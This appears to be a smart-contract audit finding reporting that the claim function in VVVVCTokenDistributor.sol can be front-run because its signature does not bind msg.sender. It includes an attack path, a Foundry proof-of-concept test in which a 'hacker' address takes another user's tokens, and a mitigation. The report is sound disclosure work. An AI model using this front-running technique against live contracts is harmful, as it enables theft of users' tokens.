002.md

Decent Aqua Sloth

High

The signature can be frontrun to steal claiming

Summary

In the VVVVCTokenDistributor.sol file, the claim function allows users to claim tokens. Any malicious actor can frontrun the valid signature used here to steal the claimed tokens.

Root Cause

In VVVVCTokenDistributor.sol:133, the tokens are sent to the msg.sender. It can be done but only if the signature has the msg.sender in it to make sure the msg.sender is validated by the signature done offchain. This is not the case in _isSignatureValid function, so anyone can frontrun the transaction of an other user to claim his tokens.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

1. A user wants to claim tokens
2. The offchain signature of the protocol sign the claiming
3. The user calls the claim function with the signature
4. Seeing that a malicious user frontrun the transaction and claim with the exact same parameters
5. The malicious user receives tokenss
6. The user's transaction reverts because the nonce is already used.

Impact

Any user can loose all his claimed tokens.

PoC

Add this test to VVVVCTokenDistributor.unit.t.sol file:

    function testPOC() public {
        address hacker = makeAddr("hacker");

        VVVVCTokenDistributor.ClaimParams memory claimParams = generateClaimParamsWithSignature(
            sampleUser,
            projectTokenProxyWallets,
            sampleTokenAmountsToClaim
        );

        // Seeing this transaction in the mempool, the hacker frontrun it
        // claimAsUser(sampleUser, claimParams);
        claimAsUser(hacker, claimParams);

        assertTrue(ProjectTokenInstance.balanceOf(hacker) == sum(sampleTokenAmountsToClaim));
        assertTrue(ProjectTokenInstance.balanceOf(sampleUser) == 0);
    }

Mitigation

Add the msg.sender to the signed message